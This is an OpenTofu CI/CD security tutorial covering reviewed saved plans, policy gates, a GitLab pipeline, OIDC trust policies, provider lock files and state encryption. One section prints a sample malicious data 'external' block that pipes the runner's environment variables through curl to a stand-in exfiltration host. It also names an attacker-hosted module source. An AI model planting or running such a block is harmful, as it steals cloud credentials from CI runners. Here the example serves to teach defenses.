OpenTofu in CI/CD & securing state

Automate apply; protect state & supply chain.

A change to production infrastructure should travel the way a builder's written quote does. Somebody writes down exactly what will be touched. Somebody who did not write it reads the paper. Then the work happens from that piece of paper, not from memory. Typing tofu apply on your own laptop against production is the opposite of that. No paper, no second reader, and no record left once you close the terminal window. Your CI/CD pipeline (continuous integration and continuous delivery, the automation that builds, tests and ships your changes when you push code) is where you keep the paper, the reader and the record.

Plan on the Merge Request, Apply on Merge

The pattern is old and it holds up. On a merge request (the change proposal you open before code lands on the main branch, called a pull request on GitHub), the pipeline runs tofu plan and writes the result to a file. Reviewers read that plan. When the merge request is merged, a second job applies that saved file. Not a fresh plan. The same one a human already read and signed off on.

tofu init -input=false -lockfile=readonly
tofu plan -input=false -lock-timeout=120s -out=tfplan.bin

Initializing the backend...
 
Successfully configured the backend "s3"! OpenTofu will automatically
use this backend unless the backend configuration changes.
 
Initializing provider plugins...
- Reusing previous version of hashicorp/aws from the dependency lock file
- Installing hashicorp/aws v5.62.0...
- Installed hashicorp/aws v5.62.0 (signed, key ID 0C0AF313E5FD9F80)
 
OpenTofu has been successfully initialized!
 
You may now begin working with OpenTofu. Try running "tofu plan" to see
any changes that are required for your infrastructure.
 
Acquiring state lock. This may take a few moments...
data.aws_caller_identity.current: Reading...
data.aws_caller_identity.current: Read complete after 0s [id=123456789012]
 
OpenTofu used the selected providers to generate the following execution
plan. Resource actions are indicated with the following symbols:
  + create
 
OpenTofu will perform the following actions:
 
  # aws_security_group_rule.db_ingress will be created
  + resource "aws_security_group_rule" "db_ingress" {
      + cidr_blocks            = [
          + "0.0.0.0/0",
        ]
      + from_port              = 5432
      + id                     = (known after apply)
      + protocol               = "tcp"
      + security_group_id      = "sg-0a1b2c3d4e5f6a7b8"
      + security_group_rule_id = (known after apply)
      + to_port                = 5432
      + type                   = "ingress"
    }
 
Plan: 1 to add, 0 to change, 0 to destroy.
 
Saved the plan to: tfplan.bin
 
To perform exactly these actions, run the following command to apply:
    tofu apply "tfplan.bin"

The -out flag turns a plan from something you glance at into an artifact you can hand to another process. Inside tfplan.bin, OpenTofu records the full set of intended actions and the state serial (a counter the backend bumps on every write) that the plan was built from. That serial is what makes the file a contract instead of a suggestion. Applying a saved plan also needs no -auto-approve, because the approval already happened when a human read the file. Try to apply it after the world has moved and OpenTofu stops you.

tofu apply tfplan.bin

Acquiring state lock. This may take a few moments...
╷
│ Error: Saved plan is stale
│ 
│ The given plan file can no longer be applied because the state was changed
│ by another operation after the plan was created.
╵

That refusal is the payoff, not a nuisance. Between the plan and the apply, somebody else applied a change, or a resource drifted, or a colleague ran tofu import. OpenTofu will not act on a description of a world that no longer exists. You re-plan, the new diff gets read, the new plan gets approved. Teams that skip the saved file and run tofu apply -auto-approve on merge throw all of that away. The apply builds its own plan, in private, and nobody ever compares it against what was reviewed.

Gate the Plan Before a Human Ever Sees It

Reviewers are good at spotting intent and bad at spotting a missing tag on resource forty-one. Machines are the other way round, so put a machine in front of the human. tofu show -json converts the binary plan into JSON (JavaScript Object Notation, a plain-text way of writing structured data), which is what policy engines read. Conftest (an open source tool that checks structured files against rules you write) reads that JSON and exits non-zero when a rule breaks, which fails the job and stops the merge request dead.

tofu show -json tfplan.bin > plan.json
jq -r '.resource_changes[] | "\(.change.actions|join(",")) \(.address)"' plan.json
conftest test plan.json --policy policy/

create aws_security_group_rule.db_ingress
 
FAIL - plan.json - main - aws_security_group_rule.db_ingress exposes port 5432 to 0.0.0.0/0
 
1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions

The gate reads the resolved plan, so a wide-open CIDR block (Classless Inter-Domain Routing notation, the a.b.c.d/n way of writing a range of addresses) that arrived through a variable is still caught. A scanner reading the raw HCL (HashiCorp Configuration Language, the syntax your .tf files are written in) would have seen var.allowed_cidr and shrugged. Here is the whole thing wired together in GitLab.

default:
  image:
    # pin by digest in production, a tag can be moved under you
    name: ghcr.io/opentofu/opentofu:1.10.6
    entrypoint: [""]           # image runs tofu directly, GitLab needs a shell
  before_script:
    # credentials first: init has to reach the S3 backend
    - (umask 077; echo "$AWS_ID_TOKEN" > /tmp/web-identity.token)
    - export AWS_WEB_IDENTITY_TOKEN_FILE=/tmp/web-identity.token
    - tofu init -input=false -lockfile=readonly
 
variables:
  TF_IN_AUTOMATION: "true"     # drops CLI hints written for humans
  AWS_REGION: eu-west-1
 
plan:
  stage: test
  id_tokens:
    AWS_ID_TOKEN:
      aud: "https://gitlab.com"
  variables:
    AWS_ROLE_ARN: arn:aws:iam::123456789012:role/tofu-plan-readonly
    AWS_ROLE_SESSION_NAME: tofu-plan-$CI_PIPELINE_ID
  script:
    - tofu plan -input=false -lock-timeout=120s -out=tfplan.bin
    - sha256sum tfplan.bin | tee tfplan.sha256
    - tofu show -json tfplan.bin > plan.json
    - conftest test plan.json --policy policy/   # conftest must be in the image
  artifacts:
    paths: [tfplan.bin, tfplan.sha256]
    expire_in: 1 day
    access: developer          # plan files carry secrets, never leave them public
 
apply:
  stage: deploy
  needs: [plan]                # reuse the reviewed artifact, do not re-plan
  id_tokens:
    AWS_ID_TOKEN:
      aud: "https://gitlab.com"
  variables:
    AWS_ROLE_ARN: arn:aws:iam::123456789012:role/tofu-apply-prod
    AWS_ROLE_SESSION_NAME: tofu-apply-$CI_PIPELINE_ID
  script:
    - sha256sum -c tfplan.sha256
    - tofu apply -input=false -lock-timeout=120s tfplan.bin
  rules:
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
      when: manual             # a named human presses the button
  resource_group: production   # never two applies at once
  environment: production      # protected environment controls who may press

Several lines there are doing security work rather than plumbing. needs: [plan] makes the apply job download the plan artifact instead of generating a new one. resource_group: production tells GitLab to run at most one job from that group at a time, so two merges landing a minute apart cannot both apply. environment: production attaches the job to a protected environment, which is where you list who is allowed to deploy, and when: manual is the button they press. access: developer keeps the plan artifact away from anyone below Developer on the project, and expire_in: 1 day stops a year of plan files piling up in artifact storage. Two smaller things matter more than they look. The token file and the role name are set up in before_script, ahead of tofu init, because init talks to the S3 backend and will fail with an access error if the credentials appear later in script. And entrypoint: [""] is there because the published OpenTofu image runs tofu as its entrypoint, so without that override GitLab's shell script never starts. Two flags earn their keep as well: -input=false makes OpenTofu fail rather than hang forever waiting for an answer nobody will type, and -lock-timeout=120s makes it queue politely for the state lock instead of dying the instant another run holds it.

The Plan Job Runs Untrusted Code

Here is the belief that gets pipelines robbed: plan is read-only, so it is safe to run on anything. It is read-only against your cloud. It is nothing of the sort against the machine it runs on. Plan reads data sources, evaluates downloaded modules, and executes provider binaries. All three are code. And one kind of data source is literally a program you hand to a shell.

# arrived in a four-line merge request titled "fix typo in tags"
data "external" "tags" {
  program = ["sh", "-c",
    "env | curl -s --data-binary @- https://exfil.example.net >/dev/null; echo '{}'"]
}

That block runs a shell command on the runner, at plan time, before any reviewer has looked at anything. The runner is holding cloud credentials in its environment. env prints them, curl posts them somewhere else, and echo '{}' hands back the JSON the external provider expects so the plan finishes green. One honest caveat: this exact block needs the external provider to already be in your lock file, because with -lockfile=readonly a brand-new provider stops the job at init. Plenty of repositories already use it. Module sources are the wider door anyway. A module block whose source points at git::https://attacker.example/vpc.git is fetched during init and evaluated during plan, and nobody on your team has read a line of it.

Three defenses, in order of how much they buy you. First, the merge-request plan job gets its own read-only role and never touches the credentials that can change production, so a stolen environment is worth very little. Second, -lockfile=readonly on init means a merge request that introduces a new provider fails loudly rather than quietly downloading one. Third, review diffs for the block types that execute things: data "external", provisioner blocks (those run at apply, so they are a second-stage problem), any change to a provider source, and any module source pointing at a host you do not own. In the job log, an attack in progress looks like an unfamiliar line such as data.external.tags: Reading... in a plan that had no business reading anything.

Hand CI a Key Card, Not a Cut Key

A long-lived cloud access key sitting in your CI settings is a brass key cut for the front door. It works at three in the morning, it works from any country, and it keeps working long after the person who created it has left. A hotel key card is the better model: issued on arrival, valid for one room, dead at checkout. OIDC (OpenID Connect, a standard way for one system to prove who it is to another without ever sharing a password) is how the pipeline gets a key card.

The job asks GitLab for a short-lived signed token describing itself: which project, which branch, which environment. AWS is told to trust tokens signed by GitLab, and its token service trades a valid one for temporary credentials that expire inside the hour. Nothing secret is stored anywhere. The condition block on the IAM role (Identity and Access Management, the AWS permission system) is where this is either tight or worthless.

{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {
      "Federated": "arn:aws:iam::123456789012:oidc-provider/gitlab.com"
    },
    "Action": "sts:AssumeRoleWithWebIdentity",
    "Condition": {
      "StringEquals": {
        "gitlab.com:aud": "https://gitlab.com",
        "gitlab.com:sub": "project_path:acme/platform:ref_type:branch:ref:main"
      }
    }
  }]
}

Read the sub (subject) condition slowly, because that one string is the entire fence. It pins the role to one project path on one branch. Swap StringEquals for StringLike and write project_path:acme/*, and every project in the acme group can now assume your production role, including the sandbox one a contractor still has access to. Drop the sub condition and keep only the audience check, and any project on gitlab.com that can mint a token for that audience is welcome to walk in. That second mistake has drained real accounts. A literal asterisk left inside StringEquals is the harmless version, since StringEquals does no wildcard matching and the role simply stops working. Verify what you actually have from inside the job.

aws sts get-caller-identity
aws iam get-role --role-name tofu-apply-prod \
  --query 'Role.AssumeRolePolicyDocument.Statement[].Condition' --output json

{
    "UserId": "AROA3XFRBF535PLBIFPI4:tofu-apply-1042",
    "Account": "123456789012",
    "Arn": "arn:aws:sts::123456789012:assumed-role/tofu-apply-prod/tofu-apply-1042"
}
[
    {
        "StringEquals": {
            "gitlab.com:aud": "https://gitlab.com",
            "gitlab.com:sub": "project_path:acme/platform:ref_type:branch:ref:main"
        }
    }
]

The words assumed-role in that ARN (Amazon Resource Name, the unique identifier AWS gives every object) are what you check. Temporary credentials always show assumed-role and a session name. If you see user/ instead, somebody left a static key in the pipeline and the OIDC setup is decoration, whatever the runbook claims.

Pin the Providers So Nothing Swaps Underneath

OpenTofu downloads providers on every init, and a provider is an executable that runs with whatever the job is holding. .terraform.lock.hcl is the receipt naming the exact bytes you agreed to. Commit it to the repository. Without it, a pipeline that ran fine yesterday can pull a different build of the same version today and nobody would notice.

# This file is maintained automatically by "tofu init".
# Manual edits may be lost in future updates.
 
provider "registry.opentofu.org/hashicorp/aws" {
  version     = "5.62.0"
  constraints = "~> 5.60"
  hashes = [
    "h1:xO3xrPKqU8oQU0h3ecLQjcTV0jT2XmvXaEHDPX2ZgYo=",
    "zh:0e8a1e5c6b2dcd7f0f0d0c9f3f2b5a11f5f7f0a5b8f9d3e1c2b4a6d8e0f2a4c6",
    "zh:1b9f24d0a4e7c3b5f8a2d6e0c4b8a1f3d5e7c9b2a4f6d8e0c2b4a6f8d0e2c4b6",
    # ... one zh: entry per published platform archive
  ]
}

Two kinds of hash live in there. An h1: line hashes the contents of the extracted provider directory, and you get one per platform anybody has actually installed on. Each zh: line hashes one of the published zip archives, one per operating system and CPU architecture, copied from the registry's signed checksum document. init hashes what it downloaded and accepts the package only if it matches something on that list.

tofu init -input=false -lockfile=readonly

Initializing the backend...
Initializing provider plugins...
- Reusing previous version of hashicorp/aws from the dependency lock file
- Installing hashicorp/aws v5.62.0...
╷
│ Error: Failed to install provider
│ 
│ Error while installing hashicorp/aws v5.62.0: the current package for
│ registry.opentofu.org/hashicorp/aws 5.62.0 doesn't match any of the
│ checksums previously recorded in the dependency lock file (this might be
│ because the available checksums are for packages targeting different
│ platforms)
╵

That error is what a swapped package looks like from the defender's chair, and it is worth reading the parenthetical before you panic. When init pulls straight from the registry it records the zh: line for every published platform, so a lock file written on a MacBook normally survives the trip to a Linux runner untouched. The gap opens when the provider came from a network or filesystem mirror, which has no signed checksum document, or when someone generated the lock for a single platform. Then all you own is an h1: for that one platform and the Linux archive matches nothing. Fix it deliberately rather than by deleting the lock: tofu providers lock -platform=linux_amd64 -platform=darwin_arm64 records both sets, and you commit the result. Deleting the lock file to make a red pipeline go green throws away the only supply chain control you had.

State Is the Vault, Not the Filing Cabinet

State is the ledger mapping every resource in your configuration to the real thing running in the cloud. It also stores the attribute values the provider handed back, and some of those are secrets in plain text. Do not take that on faith. Read your own.

tofu state pull | jq '{serial, lineage}'
tofu state pull | jq -r '.resources[]
  | select(.type == "aws_db_instance") | .instances[].attributes.password'

{
  "serial": 412,
  "lineage": "3f2a1b9c-7d4e-5a6b-8c9d-0e1f2a3b4c5d"
}
Pr0d-Db-Pa55w0rd!

Whoever can read that file gets your database passwords, your private keys, and a complete map of the estate, including every part that never made it onto a diagram. Whoever can write it can repoint a resource at something they control and wait for the next apply to hand it over quietly. So the backend gets vault treatment, not shared-drive treatment.

terraform {
  backend "s3" {
    bucket       = "acme-tofu-state"       # versioning ON, public access blocked
    key          = "prod/network.tfstate"
    region       = "eu-west-1"
    encrypt      = true                    # server-side encryption of the object
    kms_key_id   = "arn:aws:kms:eu-west-1:123456789012:key/8f1c2d3e-..."
    use_lockfile = true                    # locking via S3 conditional writes
    # older setups lock with: dynamodb_table = "acme-tofu-locks"
  }
 
  encryption {
    key_provider "aws_kms" "state" {
      kms_key_id = "arn:aws:kms:eu-west-1:123456789012:key/8f1c2d3e-..."
      region     = "eu-west-1"
      key_spec   = "AES_256"
    }
    method "aes_gcm" "state" { keys = key_provider.aws_kms.state }
 
    state {
      method   = method.aes_gcm.state      # ciphertext in the bucket
      enforced = true                      # refuse to touch plaintext state
    }
    plan {
      method   = method.aes_gcm.state      # ciphertext in CI artifacts
      enforced = true
    }
  }
}

Understand what each half buys, because they answer different threats. encrypt and kms_key_id give you server-side encryption: S3 stores the object encrypted under a KMS (Key Management Service) key, which defeats anyone who walks off with a disk and adds a second permission check, since a caller now needs kms:Decrypt on that key as well as s3:GetObject. What it cannot do is help when one principal holds both, which is the normal case for a role that reads the bucket at all. It asks, and AWS returns cheerful plaintext through the API. The encryption block answers that: OpenTofu encrypts state and saved plans inside its own process, before anything leaves the machine, so the bucket and the artifact store only ever hold ciphertext, and enforced = true means a run without the key fails instead of quietly writing plaintext over your encrypted state. use_lockfile = true uses S3 conditional writes for locking on recent OpenTofu releases, while older setups point dynamodb_table at a lock table instead. Bucket versioning is your undo button for the day somebody runs tofu state rm against the wrong workspace.

One last control that costs nothing and settles arguments months later. The plan job already prints the checksum of its artifact, so post that line into the merge request next to the diff, and have the apply job check it before it does anything.

# in the plan job
sha256sum tfplan.bin | tee tfplan.sha256
 
# first line of the apply job, before tofu apply
sha256sum -c tfplan.sha256

7c1b1a4a9f0f4d3f9a6c5b2e8d0f3a7c4e6b9d2f5a8c1e4b7d0f3a6c9e2b5d8f  tfplan.bin
tfplan.bin: OK

Be clear about what that check is worth. The sums file travels with the artifact, so anyone who could swap one could swap the other, and on its own it catches truncation and mix-ups rather than a determined attacker. Its value is the copy that lives outside the pipeline: the 64-character string sitting in the merge request thread, next to the approval, written down before anything was applied. When an auditor asks what exactly went into production last Tuesday, you hand them a hash they can run against the stored artifact and read back in the review comments, instead of somebody's recollection of a plan they scrolled past.

Try this

Run tofu init -input=false -lockfile=readonly on a scratch host or disposable cluster and read the output against what this lesson described. Then change one input so it fails, and re-run: the error you get is the one you will meet in production.

Takeaway

The trap worth remembering here: a plan job holding production keys is an open shell. Check that on your own systems before you need to, because it is cheaper to find on a quiet afternoon than during an incident.

Related